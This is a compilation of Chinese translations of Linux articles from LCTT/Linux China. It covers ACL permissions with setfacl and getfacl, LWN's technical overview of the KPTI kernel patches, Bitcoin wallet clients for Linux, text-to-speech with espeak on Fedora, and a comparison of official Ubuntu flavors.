作者：[Ayo Isaiah](https://www.maketecheasier.com/author/ayoisaiah/) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


使用 ACL 设置用户访问指定文件/目录的权限

Summary: ACL 表示访问控制列表（Access Control List，ACL），它为文件系统提供了附加的、更具有弹性的权限机制。 它被设计来为补充 UNIX 文件权限机制。

![](/data/attachment/album/201801/03/162646rygbaqcx4c0ebycx.jpg)

当提到文件和目录的权限时，你的第一反应可能是“属主/群组/其它”权限。 这些权限可以通过 `chmod`、 `chown` 等命令来修改。

文件和目录都有属主 (文件所有者 )、群组 (所属组) 以及其它权限，这些权限构成一个集合。 然而这些权限集合有它的局限性，无法做到为不同的用户设置不同的权限。

Linux 对文件和目录有以下默认权限。

* 文件 -> `644` -> `-rw-r-r-` （所有者有读写权限，组成员有只读权限， 其他人也只有读权限）
* 目录 -> `755` -> `drwxr-xr-x` （所有者有读、写和执行权限，组成员有读和执行的权限，其他人也有读和执行的权限）

比如： 默认情况下，所有者可以访问和编辑他们自己主目录中的文件， 也可以访问相关同组人的文件，但他们不能修改这些文件，因为组成员没有写权限，而且让组成员有写权限也是不明智的。 基于同样的原因，他/她也不能修改其他人的文件。 然而在某些情况下，多个用户想要修改同一个文件， 那该怎么办呢？

假设有个名叫 `magi` 的用户，他想要修改 `httpd.conf` 文件怎么办呢？ 这个文件是归 root 用户所有的，这样如何授权呢？ 为了解决这种情况，<ruby> 访问控制列表 <rt>  Access Control List </rt></ruby>（ACL）诞生了。

### 什么是 ACL？

ACL 表示<ruby> 访问控制列表 <rt>  Access Control List </rt></ruby>（ACL），它为文件系统提供了附加的、更具有弹性的权限机制。 它被设计来为补充 UNIX 文件权限机制。 ACL 允许你赋予任何某用户/组访问某项资源的权限。 `setfacl` 与 `getfacl` 命令会帮助你管理 ACL 而不会有任何麻烦。

### 什么是 setfacl？

`setfacl` 用于设置文件和目录的 ACL。

### 什么 getfacl？

`getfacl` - 获取文件的 ACL 。对于每个文件， `getfacl` 都会显示文件名、文件所有者、所属组以及ACL。 如果目录有默认 ACL， `getfacl` 也会显示这个默认的 ACL。

### 如何确认是否启用了 ACL？

运行 `tune2fs` 命令来检查是否启用了 ACL。

```
# tune2fs -l /dev/sdb1 | grep options
Default mount options: (none)

```

上面的输出很明显第说明 `/dev/sdb1` 分区没有启用 ACL。

如果结果中没有列出 `acl`，则你需要在挂载选项中加上 `acl`。 为了让它永久生效， 修改 `/etc/fstab` 中 `/app` 这一行成这样：

```
# more /etc/fstab

UUID=f304277d-1063-40a2-b9dc-8bcf30466a03 / ext4 defaults 1 1
/dev/sdb1        /app ext4 defaults，acl 1 1

```

或者，你也可以使用下面命令将其添加道文件系统的超级块中：

```
# tune2fs -o +acl /dev/sdb1

```

现在，通过运行以下命令来动态修改选项：

```
# mount -o remount,acl /app

```

再次运行 `tune2fs` 命令来看选项中是否有 `acl` 了：

```
# tune2fs -l /dev/sdb1 | grep options
Default mount options： acl

```

嗯，现在 `/dev/sdb1` 分区中有 ACL 选项了。

### 如何查看默认的 ACL 值

要查看文件和目录默认的 ACL 值，可以使用 `getfacl` 命令后面加上文件路径或者目录路径。 注意， 当你对非 ACL 文件/目录运行 `getfacl` 命令时， 则不会显示附加的 `user` 和 `mask` 参数值。

```
# getfacl /etc/apache2/apache2.conf

# file： etc/apache2/apache2.conf
# owner： root
# group： root
user::rw-
group::r--
other::r--

```

### 如何为文件设置 ACL

以下面格式运行 `setfacl` 命令可以为指定文件设置 ACL。在下面的例子中，我们会给 `magi` 用户对 `/etc/apache2/apache2.conf` 文件 `rwx` 的权限。

```
# setfacl -m u:magi:rwx /etc/apache2/apache2.conf

```

**仔细分析起来：**

* `setfacl`： 命令
* `-m`： 修改文件的当前 ACL
* `u`： 指明用户
* `magi`： 用户名
* `rwx`： 要设置的权限
* `/etc/apache2/apache2.conf`： 文件名称

再查看一次新的 ACL 值：

```
# getfacl /etc/apache2/apache2.conf

# file： etc/apache2/apache2.conf
# owner： root
# group： root
user::rw-
user:magi:rwx
group::r--
mask::rwx
other::r--

```

注意： 若你发现文件或目录权限后面有一个加号（`+`），就表示设置了 ACL。

```
# ls -lh /etc/apache2/apache2.conf
-rw-rwxr--+ 1 root root 7.1K Sep 19 14:58 /etc/apache2/apache2.conf

```

### 如何为目录设置 ACL

以下面格式运行 `setfacl` 命令可以递归地为指定目录设置 ACL。在下面的例子中，我们会将 `/etc/apache2/sites-available/` 目录中的 `rwx` 权限赋予 `magi` 用户。

```
# setfacl -Rm u:magi:rwx /etc/apache2/sites-available/

```

**其中：**

* `-R`： 递归到子目录中

再次查看一下新的 ACL 值。

```
# getfacl /etc/apache2/sites-available/

# file： etc/apache2/sites-available/
# owner： root
# group： root
user::rwx
user:magi:rwx
group::r-x
mask::rwx
other::r-x

```

现在 `/etc/apache2/sites-available/` 中的文件和目录都设置了 ACL。

```
# ls -lh /etc/apache2/sites-available/
total 20K
-rw-rwxr--+ 1 root root 1.4K Sep 19 14:56 000-default.conf
-rw-rwxr--+ 1 root root 6.2K Sep 19 14:56 default-ssl.conf
-rw-rwxr--+ 1 root root 1.4K Dec 8 02:57 mywebpage.com.conf
-rw-rwxr--+ 1 root root 1.4K Dec 7 19:07 testpage.com.conf

```

### 如何为组设置 ACL

以下面格式为指定文件运行 `setfacl` 命令。在下面的例子中，我们会给 `appdev` 组赋予 `/etc/apache2/apache2.conf` 文件的 `rwx` 权限。

```
# setfacl -m g:appdev:rwx /etc/apache2/apache2.conf

```

**其中：**

* `g`： 指明一个组

对多个用户和组授权，只需要用 `逗号` 区分开，就像下面这样。

```
# setfacl -m u:magi:rwx,g:appdev:rwx /etc/apache2/apache2.conf

```

### 如何删除 ACL

以下面格式运行 `setfacl` 命令会删除文件对指定用户的 ACL。这只会删除用户权限而保留 `mask` 的值为只读。

```
# setfacl -x u:magi /etc/apache2/apache2.conf

```

**其中：**

* `-x`： 从文件的 ACL 中删除

再次查看 ACL 值。在下面的输出中我们可以看到 `mask` 的值是读。

```
# getfacl /etc/apache2/apache2.conf

# file： etc/apache2/apache2.conf
# owner： root
# group： root
user::rw-
group::r--
mask::r--
other::r--

```

使用 `-b` 来删除文件中所有的 ACL。

```
# setfacl -b /etc/apache2/apache2.conf

```

**其中：**

* `-b`： 删除所有的 ACL 条目

再次查看删掉后的 ACl 值就会发现所有的东西都不见了，包括 `mask` 的值也不见了。

```
# getfacl /etc/apache2/apache2.conf

# file： etc/apache2/apache2.conf
# owner： root
# group： root
user::rw-
group::r--
other::r--

```

### 如何备份并还原 ACL

下面命令可以备份和还原 ACL 的值。要制作备份， 需要进入对应的目录然后这样做（假设我们要备份 `sites-available` 目录中的 ACL 值)。

```
# cd /etc/apache2/sites-available/
# getfacl -R * > acl_backup_for_folder

```

还原的话，则运行下面命令：

```
# setfacl --restore=/etc/apache2/sites-available/acl_backup_for_folder

```

---

via: <https://www.2daygeek.com/how-to-configure-access-control-lists-acls-setfacl-getfacl-linux/>

作者：[Magesh Maruthamuthu](https://www.2daygeek.com) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


KPTI：内核页表隔离的当前的发展

Summary: 英特尔处理器曝出了一个严重的硬件设计漏洞，迫使包括 Linux、Windows 在内的主要操作系统和各大云计算服务商都忙着打补丁。因为漏洞信息没有解密，所以目前只能通过已发布的补丁反推这个漏洞。这里是一篇对该漏洞的技术分析文章。

>
> 英特尔处理器曝出了一个严重的硬件设计漏洞，迫使[包括 Linux、Windows 在内的主要操作系统和各大云计算服务商都忙着打补丁](https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/)。因为漏洞信息没有解密，所以目前只能通过已发布的补丁[反推这个漏洞](http://pythonsweetness.tumblr.com/post/169166980422/the-mysterious-case-of-the-linux-page-table)。
>
>
> 这里是一篇对该漏洞的技术分析文章。
>
>
>

![](/data/attachment/album/201801/04/100246p3apbjib33puazpj.jpg)

在十月底的时候，[KAISER](https://lwn.net/Articles/738975/) 补丁集被披露了；它做了一项工作，将内核空间与用户空间使用的<ruby> 页表 <rt>  page tables </rt></ruby>进行了隔离，以解决 x86 处理器上向攻击者透露内核布局的安全漏洞。这些补丁是自它们被公布以来，这一星期中最值关注的事情，但是，它们似乎正在接近最终的状态。这应该是再次审视它们的合适机会。

这项工作被重命名为 “<ruby> 内核页表隔离 <rt>  kernel page-table isolation </rt></ruby>” （KPTI），但是目的是一样的：分割页表，将现在被用户空间和内核空间共享使用的这张表分成两套，内核空间和用户空间各自使用一个。这对内核的内存管理产生了根本性的变化，并且，这是本来人们期望先争论多年再做决定的，尤其是考虑到它的性能影响的时候。不过，KPTI 仍然处于快速发展的轨道上。[一组预备补丁](https://git.kernel.org/linus/64a48099b3b31568ac45716b7fafcb74a0c2fcfe) 已被被合并到 4.15 - rc4 之后的主版本线上了 — 一般情况下仅重要的修复才被允许这样做 — 并且其余的似乎被确定进入 4.16 版的合并窗口中。许多内核开发者都在这项工作上投入了大量的时间，并且 Linus Torvalds [要求](https://lwn.net/Articles/741882/) 将这项工作<ruby> 回迁 <rp>  （ </rp> <rt>  backport </rt> <rp>  ） </rp></ruby>到长期稳定内核中。

也就是说，KPTI 已经在最后期限的压力下安全补丁的所有标记都已经就绪了。对于任何基于 ARM 的读者，在这里值的注意的是，在这项工作中有一个 [为 arm64 的等效补丁集](https://lwn.net/Articles/740393/)。

### 51 个补丁乃至更多

在这篇文章中，x86 补丁系列正处在 [163 版本](https://lwn.net/Articles/741883/)。它包含 51 个补丁，因此，我们应该感谢那些没有公开的版本。最初的补丁集，由 Dave Hansen 发布，由 Thomas Gleixner、Peter Zijlstra、Andy Lutomirski、和 Hugh Dickins 根据许多其它人的建议，做了大量的修订。任何还存在的缺陷都不是由于没有足够多的有经验的开发人员过目所导致的。

在现代系统中，页表是以一个树形结构进行组织的，这样可以高效地存储稀疏内存映射和支持巨页特性；可以查看[这篇 2005 年的文章](https://lwn.net/Articles/117749/) 了解更多细节以及它是怎么工作的示意图。在一个有四级页面表的系统上（目前的大多数大型系统都是这样），顶级是页面全局目录（PGD）。紧接着是页面上层目录（PUD）、页面中层目录（PMD）和页面表条目（PTE）。有五级页面表的系统是在 PGD 下面插入了一层（称为 P4D）。

页面故障解析通常遍历整个树去查找所需的 PTE，但是，巨页可以被更高层级的特定条目所表示。例如，一个 2MB 的内存<ruby> 块 <rt>  chunk </rt></ruby>既可以由 PMD 层级的一个单个的巨页条目表示，也可以由一个单页 PTE 条目的完整页面表示。

在当前的内核中，每个处理器有一个单个的 PGD；在 KPTI 系列补丁中所采取的第一步的其中一个措施是，去创建一个第二个 PGD。当内核运行时，原来的仍然在使用；它映射所有的地址空间。当处理器运行在用户空间时，（在打完该系列补丁之后）第二个被激活。它指向属于该进程的页面的相同目录层次，但是，描述内核空间（位于虚拟地址空间的顶端）的部分通常都不在这里。

页表条目包含权限描述位，它们记录了内存该如何被访问；不用说都知道，这些位是用来设置阻止用户空间访问内核页面的，即便是通过那些被映射到该地址空间的页面访问。不幸的是，一些硬件级的错误允许用户空间的攻击者去确定一个给定的内核空间地址是否被映射，而不管那个页面上映射的地址是否被允许访问。而那个信息可以被用于击败内核地址空间布局随机化，可以使一个本地的攻击者更易于得逞。在 KPTI 背后的核心思想是，切换到一个没有内核空间映射的 PGD，将会使基于这个漏洞的攻击失效，而到现在为止，我们还没有看到这些攻击。

### 细节

这个想法很简单，但是，就像经常发生的那样，有各种各样麻烦的细节使得这个简单的想法变成了一个由 51 个部分构成的补丁集。其中最初的一个是，如果处理器在用户模式运行时响应一个硬件中断，处理中断需要的内核代码将在地址空间中不存在。因此，必须有足够的内核代码映射在用户模式中，以能够切换回到内核 PGD，使剩余的代码也可用。对于 traps、非屏蔽中断、和系统调用，也存在一个相似的情况。这个代码很小而且可以与其它部分隔离，但是，在处理安全且有效地切换时，涉及到一些很复杂的细节。

另一个难题来自 x86 本地描述符表（LDT）的构成，它可以被用于去改变用户空间的内存布局。它可以使用鲜为人知的 [`modify_ldt()`](http://man7.org/linux/man-pages/man2/modify_ldt.2.html) 系统调用来做微调。例如，在 Linux 上早期的 POSIX 线程实现，使用了 LDT 去创建一个本地线程存储区域。在现在的 Linux 系统上，LDT 几乎不再使用了，但是，一些应用程序（比如，Wine）仍然需要它。当它被使用时，LDT 必须能够被用户空间和内核空间都可以访问到，但是，它必须一直处于内核空间中。KPTI 补丁集打乱内核附近的内存，在 PGD 级别上为 LDT 保留一个完全的条目；因此，`vmalloc()` 调用的可用空间收缩到仅有 12,800TB。那是一个非常巨大的 LDT 空间数，可以满足有很多 CPU 系统的需要。这种变化的其中一个结果是，LDT 的位置将是固定的，并且已知道用户空间 ——因此这将是个潜在的问题，由于覆写 LDT 的能力很容易被用来破坏整个系统。在这个系列的最终的补丁是映射为只读 LDT，以阻止此类攻击。

另一个潜在的安全缺陷是，如果内核可以一直被操纵直至返回用户空间，以至于不切换回经过过滤的 PGD。因为内核空间 PGD 也映射用户空间内存，这种疏忽可能在一段时间内不会被察觉到。对此问题的应对方法是将虚拟内存空间中用户空间的部分以非可执行的方式映射到内核的 PGD。只要用户空间（的程序）开始从一个错误的页面表开始执行，它将会立即崩溃。

最后，虽然所有已存在的 x86 处理器似乎都会受到这个信息泄露的漏洞影响，但是，以后的处理器可能不会受此影响。KPTI 有一个可测量的运行时成本，估计在 5%。有些用户也许不愿意为这些成本埋单，尤其是他们拿到了不存在这个问题的新处理器之后。为此将会有一个 `nopti` （内核）命令行选项来在启动的时候禁用这个机制。这个补丁系列也增加了一个新的“特性”标识（`X86_BUG_CPU_INSECURE`）去标识有漏洞的 CPU；它被设置在现在所有的 x86 CPU 上（LCTT 译注：AMD 表示不背这锅），但是在以后的硬件上可能没有。如果没有该特性标识，页面隔离将自动被关闭。

在 4.16 版的合并窗口打开之前剩下将近一个月。在这期间，针对一些新发现而不可避免的小毛病，KPTI 补丁集毫无疑问的将迎来一系列的小修订。一旦所有的事情都敲定了，看起来这些代码将会被合并同时以相对快的速度迁回到稳定版本的内核。显而易见的是，我们将会收到一个更慢，但是更安全的内核作为一个新年礼物。

---

via: <https://lwn.net/SubscriberLink/741878/eb6c9d3913d7cb2b/>

作者：[Jonathan Corbet](https://lwn.net/SubscriberLink/741878/eb6c9d3913d7cb2b/) 译者：[qhwdw](https://github.com/qhwdw) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


Linux 下最好的 5 个比特币客户端

![](/data/attachment/album/201801/04/211053bo7uftzzaufodkfq.jpg)

目前为止，你可能已经听说过[比特币](https://www.maketecheasier.com/what-is-bitcoin-and-how-you-can-utilize-it-online/)或[区块链](https://www.maketecheasier.com/bitcoin-blockchain-bundle-deals/)。比特币的价格在过去几个月里猛涨了几倍，而且这种趋势几乎每天都在持续。对比特币的需求似乎一分钟都在以天文数字增长。

随着对数字货币的需求，需要用软件来管理货币：比特币客户端。在 Google Play 或 App Store 上搜索“比特币客户端”会得到不少结果。有很多支持 Linux 的比特币客户端，但是这里只说其中 5 个，没有特别的顺序。

### 为什么使用客户端？

客户端可以轻松管理你的比特币。许多客户端提供了不同级别的安全性，以确保你不会失去宝贵的数字货币。总之，你会发现它是帮助的，相信我。

#### 1. Bitcoin Core

![Bitcoin Core](/data/attachment/album/201801/04/211054jmfxzq71qg7gfjk8.png "Bitcoin Core")

顾名思义，这是核心的比特币客户端。它有一个非常简单的界面。与其他流行的客户相比，它是安全的，并提供了最好的隐私保护。不好的是，它必须下载所有的比特币交易记录，这有超过 150GB 的数据。因此，它比其他客户端使用更多的资源。

要下载 Bitcoin Core 客户端，请访问下载[页面](https://bitcoin.org/en/download)。Ubuntu 用户可以通过 PPA 安装它：

```
sudo add-apt-repository ppa:bitcoin / bitcoin
sudo apt update
sudo apt install bitcoin*

```

#### 2. Electrum

![Electrum](/data/attachment/album/201801/04/211055q9u5u8u886ywvu29.png "Electrum")

Electrum 是另一个有趣的比特币客户端。它是比大多数客户端更宽松，因为资金可以从密码恢复 —— 你无需担心忘记密钥。它提供了其他一些功能，可以方便地管理比特币，如多重签名和冷存储。Electrum 的一个好处是能够看到你的比特币的等值的法定货币。与 Bitcoin Core 不同，它不需要比特币交易记录的完整副本。

以下是如何下载 Electrum：

```
sudo apt-get install python3-setuptools python3-pyqt5 python3-pip
sudo pip3 install https://download.electrum.org/3.0.3/Electrum-3.0.3.tar.gz

```

请确保在该 [网站](https://electrum.org/) 上查看要安装的相应版本。

#### 3. Bitcoin Knots

Bitcoin Knots 与 Bitcoin Core 只有一点不同，它提供比 Bitcoin Core 更先进的功能。事实上，它衍生自 Bitcoin Core。不过重要的是要知道有些功能没有经过完善的测试。

与 Bitcoin Core 一样，Bitcoin Knots 也会使用大量空间，因为它下载完整比特币交易的副本。

PPA 和 tar 文件可以在[这里](https://bitcoinknots.org/)下载。

#### 4. Bither

![Bither](/data/attachment/album/201801/04/211056xrlotg2gf7rgotyg.png "Bither")

Bither 有一个非常简单的用户界面，使用起来非常简单。它允许通过密码访问，并有一个汇率查看器以及冷/热模式。客户端很简单，但是可以用！

在[这里](https://bither.net/)下载 Bither。

#### 5. Armory

![Armory](/data/attachment/album/201801/04/211057swgcoaa6wyxbeph6.png "Armory")

Armory 是另一个常见的比特币客户端。它包括许多功能，如冷存储。这使你可以在不连接互联网的情况下管理你的比特币。此外，还有额外的安全措施，以确保私钥完全免受攻击。

你可以从这个下载[网站](https://www.bitcoinarmory.com/download/)得到 deb 文件。打开 deb 并安装在 Ubuntu 或 Debian 上。你也可以在 [GitHub](https://github.com/goatpig/BitcoinArmory) 上下载项目。

现在你了解了有一个比特币客户端可以来管理你的数字货币，接着那么坐下来，放松一下，看着你的比特币价值增长。

---

via: <https://www.maketecheasier.com/bitcoin-clients-for-linux/>

作者：[Bruno Edoh](https://www.maketecheasier.com) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


为你的 Fedora 系统增添发音功能

好像不支持中文吧！

![](/data/attachment/album/201801/04/211655ejjrnhljormc4jz1.png)

Fedora 工作站默认带有一个小软件，叫做 espeak。它是一个声音合成器 —— 也就是转换文本为声音的软件。

在当今这个世界，发音设备已经非常普遍了。在智能电话、Amazon Alexa，甚至火车站的公告栏中都有声音合成器。而且，现在合成声音已经跟人类的声音很类似了。我们生活在 80bandaid 的科幻电影里！

与前面提到的这些工具相比，espeak 的发音听起来有一点原始。但最终 espeak 可以产生不错的发音效果。而且不管你觉得它有没有用，至少它可以给你带来一些乐趣。

### 运行 espeak

你可以在命令行为 espeak 设置各种参数。包括：

* 振幅（`-a`）
* 音高调整 （`-p`）
* 读句子的速度 （`-s`）
* 单词间的停顿时间 （`-g`）

每个选项都能产生不同的效果，你可以通过调整它们来让发音更加清晰。

你也可以通过命令行选项来选择不同的变音。比如，`-ven+m3` 表示另一种英式男音，而 `-ven+f1` 表示英式女音。你也可以尝试其他语言的发音。运行下面命令可以查看支持的语言列表：

```
espeak --voices

```

要注意，很多非英语的语言发音现在还处于实验阶段。

若要创建相应的 WAV 文件而不是真的讲出来，则可以使用 `-w` 选项：

```
espeak -w out.wav "Audio file test"

```

espeak 还能读出文件的内容。

```
espeak -f plaintextfile

```

你也可以通过标准输入传递要发音的文本。举个简单的例子，通过这种方式，你可以创建一个发音盒子，当事件发生时使用声音通知你。你的备份完成了？将下面命令添加到脚本的最后试试效果：

```
echo "Backup completed" | espeak -s 160 -a 100 -g 4

```

假如有日志文件中出现错误了：

```
tail -1F /your/log/file | grep --line-buffered 'ERROR' | espeak

```

或者你也可以创建一个报时钟表，每分钟报一次时：

```
while true; do date +%S | grep '00' && date +%H：%M | espeak; sleep 1; done

```

你会发现，espeak 的使用场景仅仅受你的想象所限制。享受你这会发音的 Fedora 系统吧！

---

via: <https://fedoramagazine.org/add-speech-fedora-system/>

作者：[Alessio Ciregia](http://alciregi.id.fedoraproject.org/) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


哪一种 Ubuntu 官方版本最适合你？

我还在使用ubuntu 1604。。。Ubuntu Budgie看着不错，可以拿来玩玩。

![Ubuntu Budgie](/data/attachment/album/201801/05/084002xlmteof4mg1g4zwz.jpg "Ubuntu Budgie")

*Ubuntu Budgie 只是为数不多的 Ubuntu 官方认可的<ruby> 特色版本 <rt>  flavor </rt></ruby>之一。Jack Wallen（杰克沃伦）将讲述一下它们之间的重要的区别。*

Ubuntu Linux 有一些官方认可的<ruby> 特色版本 <rt>  flavor </rt></ruby>，还有一些<ruby> 衍生版本 <rt>  derivative distribution </rt></ruby>：

* [Kubuntu](http://www.kubuntu.org/) - KDE 桌面版 Ubuntu
* [Lubuntu](http://lubuntu.net/) - LXDE 桌面版 Ubuntu
* [Mythbuntu](http://www.mythbuntu.org/) - MythTV 版 Ubuntu
* [Ubuntu Budgie](https://ubuntubudgie.org/) - Budgie 桌面版 Ubuntu
* [Xubuntu](http://xubuntu.org/) - Xfce 桌面版 Ubuntu

就在不久前（本文写于 2017 年 5 月），官方的 Ubuntu Linux 包括了其自己打造的 Unity 桌面版和第六个被认可的特色版本：Ubuntu GNOME —— Ubuntu 的 GNOME 桌面环境。

当<ruby> 马克·沙特尔沃思 <rt>  Mark Shuttleworth </rt></ruby>决定要否决 Unity 的时候，这个选择对于 Canonical 来说就很明显了——是为了让 GNOME 成为 Ubuntu Linux 的官方桌面环境。从 Ubuntu 18.04（2018 年 4 月）开始，我们将仅剩下这个官方发行版和四种官方认可的特色版本。(LCTT 译注：从 17.10 就没有 Unity 版本了）

对于那些已经融入 Linux 社区的人来说，就像一些非常简单的数学问题一样——你知道你喜欢哪个 Linux 桌面，在 Ubuntu、Kubuntu、Lubuntu、Mythbuntu、Ubuntu Budgie 和 Xubuntu 之间做出选择不要太容易了。但那些还没有被灌输 Linux 思想的人可不会认为这是一个如此简单的决定。

为此，我认为帮助新用户决定选择对他们来说哪个特色版本最好可能是至关重要的。毕竟，从一开始就选择一个不合适的发行版是一种不太理想的体验。

因此，如果你正考虑选择哪个 Ubuntu 的特色版本，如果你想让你的体验尽可能地不痛苦，请继续往下看。

### Ubuntu

我将从 Ubuntu 的官方特色版本开始。我会有点扭曲时间线，跳过 Unity 不谈，直接进入即将到来的基于 GNOME 的发行版（LCTT 译注：本文写作半年后发布的 Ubuntu 17.10 是第一个官方的 GNOME Ubuntu 发行版）。除了 GNOME 是一个极其稳定且易于使用的桌面环境之外，选择官方的特色版本的一个很好的理由是：支持服务。这个 Ubuntu 的官方特色版本是由 Canonical 提供商业支持的。您可以每年花费 $150.00 为 Ubuntu 桌面版购买 [官方支持服务](https://buy.ubuntu.com/collections/ubuntu-advantage-for-desktop)。当然，对于这一级别的支持，最少要购买 50 个桌面的支持服务。而对于个人来说，最好的支持是 [Ubuntu 论坛](https://ubuntuforums.org/)，[Ubuntu 文档](https://help.ubuntu.com/?_ga=2.155705979.1922322560.1494162076-828730842.1481046109)，或者[社区帮助维基](https://help.ubuntu.com/community/CommunityHelpWiki?_ga=2.155705979.1922322560.1494162076-828730842.1481046109)。

在商业支持之外，选择 Ubuntu 官方特色版本的原因是，如果你想要一个现代的、功能齐全的桌面的话，它是非常可靠和易用的。 GNOME 被设计成完美地适合桌面和笔记本电脑桌面的平台（图 1）。与它的前代的 Unity 不同，GNOME 可以更方便地定制以适合你的需要。如果你不喜欢摆弄桌面，不要担心，GNOME 工作的很好。事实上，GNOME 开箱即用的体验也许是市场上最优秀的桌面之一，甚至可以与 Mac OS X 媲美（或者更好）。如果修补和调整是你的主要的兴趣所在，你会发现 GNOME 在一定程度上是受限制的。 [GNOME 调整工具](https://apps.ubuntu.com/cat/applications/gnome-tweak-tool/)和[GNOME Shell 扩展](https://extensions.gnome.org/)只会比你想要的提供的更多。

![GNOME桌面](/data/attachment/album/201801/05/084003ow161hjhh3po651w.jpg "GNOME desktop")

*图 1：带有 Unity 味道 GNOME 桌面也许就会是我们在 Ubuntu 18.04 上所看到的。*

### Kubuntu

<ruby> <a href="https://www.kde.org/">  K 桌面环境 </a> <rt>  K Desktop Environment </rt></ruby>（即 KDE）与 GNOME 长期并存，有时被误解为一个较少见的桌面。但随着 KDE Plasma 5 的发布，情况发生了变化。KDE 已经成为一个强大的、高效的、稳定的桌面，它正在一步步地成为最好的桌面系统。但是你为什么要选择 Kubuntu 而不是 Ubuntu 官方版本呢？这个问题的答案很简单——你习惯了 Windows XP / 7 桌面模式。开始菜单、任务栏、系统托盘，等等，KDE 拥有这些乃至更多，所有的这些都会让你觉得你在使用过去和现在的最好的技术。事实上，如果你正在寻找一款最像 Windows 7 的 Ubuntu 官方特色版本，除了它你就找不到更好的了。

Kubuntu 的优点之一是，你会发现它比你以前使用过的任何 Windows 版本都灵活，而且同样可靠/友好。不要觉得因为 KDE 提供的桌面有点类似于 Windows 7，它就没有现代特色。事实上，Kubuntu 对类 Windows 7 的界面进行了很好的处理，并更新了它以满足更现代的审美（图 2）。

![Kubuntu](/data/attachment/album/201801/05/084003cfbe9nzbyuvuw0mb.jpg "Kubuntu")

*图 2: Kubuntu 在老式用户体验上提供了现代感受。*

Ubuntu 官方版本并不是提供桌面支持的唯一特色版本。Kubuntu 用户也可以购买[商业支持](https://kubuntu.emerge-open.com/buy)。注意，它不便宜，一个小时的支持服务将花费你 103.88 美元。

### Lubuntu

如果你正在寻找一个易于使用的桌面，要非常快（以便旧硬件感受如新），而且要比你曾经使用的任何桌面都灵活，那么 Lubuntu 就是你想要的。对 Lubuntu 唯一的警告是，你看到更加空荡的桌面，也许你已经习惯了。Lubuntu 使用 [LXDE 桌面](http://lxde.org/)，并包含一个延续了轻量级主题的应用程序列表。因此，如果你想在桌面上寻找极速快感的体验，Lubuntu 可能是个不错的选择。

然而，对 Lubuntu 有一个提醒，对于一些用户来说，这可能会影响他们选择它。由于 Lubuntu 的低配，其预先安装的应用程序可能无法胜任任务。例如，取而代之成熟的办公套件的是，您将发现 [AibWord 字处理器](https://www.abisource.com/)和 [Gnumeric 图表](http://www.gnumeric.org/)工具。别误会，这两个都是很好的工具。然而，如果你正在寻找一款适合商业使用的软件，你会发现它们缺乏友好的支持。另一方面，如果你想要安装更多的以工作为中心的工具（例如 LibreOffice），Lubuntu 包括了新立得软件包管理器可以简化第三方软件的安装。

和有限的默认软件一起，Lubuntu 提供了一个简单易用的桌面（图 3），任何人都可以马上开始使用，几乎没有学习曲线。

![Lubuntu](/data/attachment/album/201801/05/084004vmdzi7b7omv59zq7.jpg "Lubuntu")

*图 3：Lubuntu 软件的贫乏，换来的是速度和简单性。*

### Mythbuntu

Mythbuntu 在这里是一种奇怪的鸟，因为它不是真正的桌面变体。相反，Mythbuntu 是 Ubuntu 多媒体工场设计的一个特殊的特色版本。使用 Mythbuntu 需要电视调谐器和电视输出卡。而且，在安装过程中，还需要采取一些额外的步骤（如选择如何设置前端/后端，以及设置您的红外遥控器）。

如果您碰巧拥有该硬件（以及创建您自己的由 Ubuntu 驱动的娱乐系统的愿望），Mythbuntu 就是您想要的发行版。一旦安装了 Mythbuntu，就会提示您通过设置采集卡、录制设置、视频源和输入连接（图4）。

![Mythbuntu](/data/attachment/album/201801/05/084004i5dpqjrq08562088.jpg "Mythbuntu")

*图 4：准备设置 Mythbuntu。*

### Ubuntu Budgie

Ubuntu Budgie 是一个新加入到官方特色版本列表的小成员。它使用 Budgie 桌面，这是一个非常漂亮和现代的 Linux 操作系统，它可以满足任何类型的用户。Ubuntu Budgie 的目标是创建一个优雅简洁的桌面界面。而这个任务已经完成了。如果你正在寻找一个漂亮的桌面，想在非常稳定的 Ubuntu Linux 平台上工作，你只需看看 Ubuntu Budgie 就可以了。

在 Ubuntu 上添加这个特殊的版本到官方版本列表中是 Canonical 的一个聪明的举动。随着 Unity 的消失，他们需要一个能提供 Unity 的优雅的桌面。Budgie 的定制非常简单，其所包含的软件列表可以让你立即开始工作和上网浏览。

而且，与许多用户在 Unity 中遇到的学习曲线不同，Ubuntu Budgie 的开发者/设计者们做了一件非常出色的工作，让我们保有 Ubuntu 的熟悉感。点击“开始”按钮，会显示一个相当标准的应用程序菜单。Budgie 还包括一个易于使用的 Dock（图 5），它包含了用于快速访问的应用程序启动器。

![Budgie](/data/attachment/album/201801/05/084005pbndgd9kwggwibzg.jpg "Budgie")

*图 5：这是一个漂亮的桌面。*

在 Ubuntu Budgie 中发现的另一个很好的功能是侧边栏可以快速显示和隐藏。这个侧边栏包含了小应用和通知。有了这个功能，你的桌面就会变得非常有用，同时还免除杂乱。

最后，如果你在寻找一个稍有不同，但又非常现代的桌面——其特色与功能在其他发行版本中找不到 —— 那么 Ubuntu Budgie 就是你想要的。

### Xubuntu

另一种很好地提供了低配支持的 Ubuntu 官方特色版本是 [Xubuntu](https://xubuntu.org/)。Xubuntu 和 Lubuntu 的区别在于， Lubuntu 使用 LXDE 桌面，而 Xubuntu 使用[Xfce](https://www.xfce.org/)。差别就是这个轻量级桌面，它比 Lubuntu 更具可配置性，也包括了更适合商务的 LibreOffice 办公套件。

